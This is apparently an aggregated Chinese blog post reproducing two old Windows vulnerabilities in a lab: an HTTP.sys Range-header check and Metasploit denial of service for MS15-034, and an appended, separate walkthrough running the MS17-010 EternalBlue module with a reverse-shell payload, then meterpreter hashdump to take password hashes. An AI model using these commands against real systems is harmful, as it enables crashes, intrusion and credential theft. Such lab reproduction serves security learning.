CVE-2015-1635(MS15-034 )远程代码执行漏洞复现
Posted 徐记荣
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2015-1635(MS15-034 )远程代码执行漏洞复现相关的知识,希望对你有一定的参考价值。
目录
1 漏洞背景
2 漏洞影响
3 漏洞利用
3.1 服务器配置与搭建
3.2 测试
3.2.1 curl命令
3.2.2 Host字段
3.2.3 Range字段
3.3 攻击利用
4 防御措施
1 漏洞背景
2015年04月14日,微软发布严重级别的安全公告 MS15-034,编号为 CVE-2015-1635,据称在 Http.sys 中的漏洞可能允许远程执行代码
Http.sys 是一个位于 Windows 操作系统核心组件,能够让任何应用程序通过它提供的接口,以 Http 协议进行信息通讯。
HTTP.sys会错误解析某些特殊构造的HTTP请求,导致远程代码执行漏洞。成功利用此漏洞后,攻击者可在System帐户上下文中执行任意代码。
由于此漏洞存在于内核驱动程序中,攻击者也可以远程导致操作系统蓝屏。远程攻击者可以通过IIS 7(或更高版本)服务将恶意的HTTP请求传递给HTTP.sys驱动。
2 漏洞影响
IIS 7.0以上的Windows 7/8/8.1和Windows Server 2008 R2/Server 2012/Server 2012 R2等操作系统。
3 漏洞利用
3.1 服务器配置与搭建
ip:192.168.52.131
操作系统:win7
中间件:IIS7.0
win7我们如何开启iis服务呢
控制面板>程序和功能>打开或关闭windows功能>Internet信息服务>勾选Web管理工具和万维网服务
我们访问一下
http://127.0.0.1/
如上所示证明开启了iis服务
3.2 测试
我们在攻击机发送如下代码
curl -v 192.168.52.131 -H "Host:irrelevant" -H "Range:bytes=0-18446744073709551615"
返回如下信息证明存在此漏洞
3.2.1 curl命令
详见Linux curl命令最全详解
参数 | 描述 |
---|---|
-v | 显示更详细的信息,调试时使用; |
-H “name:value” | (HTTP)添加一个http header(http请求头); |
3.2.2 Host字段
一个IP
可以对应多个域名
,但我们为了区分不同域名
显示的不同内容,此时引用host概念,所以每个域名对应不同的host,通过host可以区分出访问的是服务器上的哪个站点。(但此处我们直接访问的IP,默认80端口,我试了下,-H "Host:irrelevant"
不加也是可以的)
没搞明白
3.2.3 Range字段
在原来网络不是很好的时候,下载大型文件很不容易,如果下载中断 ,那么只能重头开始下载,为了解决这个问题 HTTP/1.1引入的范围请求。即请求这个文件x~y的字节,指定范围,在请求报文的首部添加Range字段,此字段指定资源的byte范围
,告诉服务器,请求资源是哪个范围的内容,让断点续传和并行下载得以实现。
例如:
Range: bytes=5001-10000
并不是所有的服务器都支持此要求
如果不支持服务器会返回400状态码
,意思是客户端请求异常
这里我们的测试命令给的是
-H "Range:bytes=0-18446744073709551615"
18446744073709551615转为十六进制是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整型所能表达的最大整数,整数溢出
和这个超大整数有关
发送请求包就会返回416状态码
如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合
,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回416状态码。
这个漏洞是整除溢出型漏洞,服务器端怎么处理这个请求,我也没搞懂,我现在只知道整数溢出报416状态码,证明此处存在此漏洞
3.3 攻击利用
工具用Metasploit(MSF)
安装使用方法自己搞
两个模块
0 ddos攻击
1 读取内存信息
试试第二个模块
不行不知道为什么
我们试试第一个模块ddos攻击
这里有个东西叫therads
,上面说是并发线程数,我试了一下,如果是默认
,直接run
,服务器会瞬间蓝屏
,然后重启,如果是改成set therads 10
,服务器会长时间蓝屏
4 防御措施
1.打补丁
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034
2.临时禁用IIS内核缓存
参考
Microsoft安全公告MS15-034 -严重
HTTP.sys远程代码执行(CVE2015-1635,MS15-034)
什么是整数溢出漏洞以及它带来的后果
MS17-010远程溢出漏洞(CVE-2017-0143)拿权限
0x00
我这边用的是安界网的靶场
http://vnc.ajsafe.com/experi/article/164.html
首先来开启靶场
关于漏洞的介绍:MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。 函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
0x01漏洞扫描
首先我们来ping一下目标靶机
可以看到是成功的
在来看一下目标机开发的端口
利用工具nmap命令如下
nmap -sV -Pn 192.168.0.2
一定要记住Linux需要区分大小写
可以看到开放了 135 139 445 端口
我们使用扫描模块看该漏洞是否可以利用命令如下
msfconsole
这边可以看到是可以利用的
打开 metasploite 命令行客户端,使用search命令查找ms17-010漏洞的相关模块
search ms17-010
使用use命令选择我们要使用的扫描模块
use auxiliary/scanner/smb/smb_ms17_010
需要设置目标地址,设置命令:
set RHOSTS 192.168.0.2
然后直接run或者exploit 两个命令意思相同执行结果一样
我这边是直接run
0x02漏洞利用
从上一步骤可以看出,该漏洞是可被利用的,接下来,我们使用漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
查看配置信息,并设置标记为yes的属性
show options
目标机host地址:192.168.0.2
set RHOSTS 192.168.0.2
之后,选择载荷payload,也就是shellcode,此处我们选择回连至控制端shell的payload
配置中缺少本地主机 LHOST,设置一下
set LHOST 192.168.0.3
本地端口LPORT默认为4444,可通过set LPORT 端口号修改
完成配置后,运行exploit或者run,开始执行漏洞利用模块
0x04远程登录目标机
我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能
运行sysinfo查看目标机器相关信息
sysinfo
中文乱码问题不打紧不打紧
执行help命令可以帮助我们了解meterpreter有哪些功能
help
接下来,我们获取目标机hash值
执行hashdump
hashdump
ok了本次内容就到这里希望大家也去练习练习
以上是关于CVE-2015-1635(MS15-034 )远程代码执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞 (漏洞验证)
修复windows Server 2012远程代码执行漏洞(ms15_034)